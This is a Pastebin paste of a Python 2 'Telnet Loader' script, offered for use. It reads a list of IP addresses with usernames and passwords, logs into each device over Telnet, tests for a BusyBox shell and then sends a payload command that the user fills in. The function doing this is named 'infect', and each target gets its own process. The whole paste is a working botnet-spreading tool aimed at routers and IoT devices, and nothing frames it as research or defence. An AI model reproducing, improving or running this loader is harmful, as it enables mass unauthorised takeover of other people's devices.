Advertisement
IRunYourModerm

[ Python ] Telnet Loader

Apr 13th, 2019
353
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.89 KB | None | 0 0
  1. //If you want to Modify any of this make sure you leave credits to the person that written this, :)
  2.  
  3. import sys, re, os, socket, time
  4. from multiprocessing import Process
  5.  
  6. if len(sys.argv) < 2:
  7.     sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]")
  8.  
  9. cmd="" #payload to send
  10. info = open(str(sys.argv[1]),'a+')
  11.  
  12. def readUntil(tn, string, timeout=8):
  13.     buf = ''
  14.     start_time = time.time()
  15.     while time.time() - start_time < timeout:
  16.         buf += tn.recv(1024)
  17.         time.sleep(0.01)
  18.         if string in buf: return buf
  19.     raise Exception('TIMEOUT!')
  20.  
  21.  
  22. def infect(ip,username,password):
  23.     ip = str(ip).rstrip("\n")
  24.     username = username.rstrip("\n")
  25.     password = password.rstrip("\n")
  26.     try:
  27.         tn = socket.socket()
  28.         tn.settimeout(10)
  29.         tn.connect((ip,23))
  30.     except Exception:
  31.         tn.close()
  32.     try:
  33.         hoho = ''
  34.         hoho += readUntil(tn, "ogin")
  35.         if "ogin" in hoho:
  36.             tn.send(username + "\n")
  37.             time.sleep(0.09)
  38.     except Exception:
  39.         tn.close()
  40.     try:
  41.         hoho = ''
  42.         hoho += readUntil(tn, "assword:")
  43.         if "assword" in hoho:
  44.             tn.send(password + "\n")
  45.             time.sleep(0.8)
  46.         else:
  47.             pass
  48.     except Exception:
  49.         tn.close()
  50.     try:
  51.         prompt = ''
  52.         prompt += tn.recv(40960)
  53.         if ">" in prompt and "ONT" not in prompt:
  54.             try:
  55.                 success = False
  56.                 tn.send("cat | sh" + "\n")
  57.                 time.sleep(0.1)
  58.                 timeout = 8
  59.                 data = ["BusyBox", "Built-in"]
  60.                 tn.send("sh" + "\n")
  61.                 time.sleep(0.01)
  62.                 tn.send("busybox" + "\r\n")
  63.                 buf = ''
  64.                 start_time = time.time()
  65.                 while time.time() - start_time < timeout:
  66.                     buf += tn.recv(40960)
  67.                     time.sleep(0.01)
  68.                     for info in data:
  69.                         if info in buf and "unrecognized" not in buf:
  70.                             success = True
  71.                             break
  72.             except:
  73.                 pass
  74.         elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  75.             try:
  76.                 success = False
  77.                 timeout = 8
  78.                 data = ["BusyBox", "Built-in"]
  79.                 tn.send("sh" + "\n")
  80.                 time.sleep(0.01)
  81.                 tn.send("shell" + "\n")
  82.                 time.sleep(0.01)
  83.                 tn.send("help" + "\n")
  84.                 time.sleep(0.01)
  85.                 tn.send("busybox" + "\r\n")
  86.                 buf = ''
  87.                 start_time = time.time()
  88.                 while time.time() - start_time < timeout:
  89.                     buf += tn.recv(40960)
  90.                     time.sleep(0.01)
  91.                     for info in data:
  92.                         if info in buf and "unrecognized" not in buf:
  93.                             success = True
  94.                             break
  95.             except:
  96.                 pass
  97.         else:
  98.             tn.close()
  99.         if success == True:
  100.             try:
  101.                 tn.send(cmd + "\n")
  102.                 print "\033[32m[\033[31m+\033[32m] \033[33mPayload Sent!\033[32m %s"%(ip)
  103.                 time.sleep(20)
  104.                 tn.close()
  105.             except:
  106.                 tn.close()
  107.         tn.close()
  108.     except Exception:
  109.         tn.close()
  110.  
  111. for x in info:
  112.     try:
  113.         if ":23 " in x:
  114.             x = x.replace(":23 ", ":")
  115.         xinfo = x.split(":")
  116.         session = Process(target=infect, args=(xinfo[0].rstrip("\n"),xinfo[1].rstrip("\n"),xinfo[2].rstrip("\n"),))
  117.         session.start()
  118.         ip=xinfo[0]
  119.         username=xinfo[1]
  120.         password=xinfo[2]
  121.         time.sleep(0.01)
  122.     except:
  123.         pass
  124. session.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement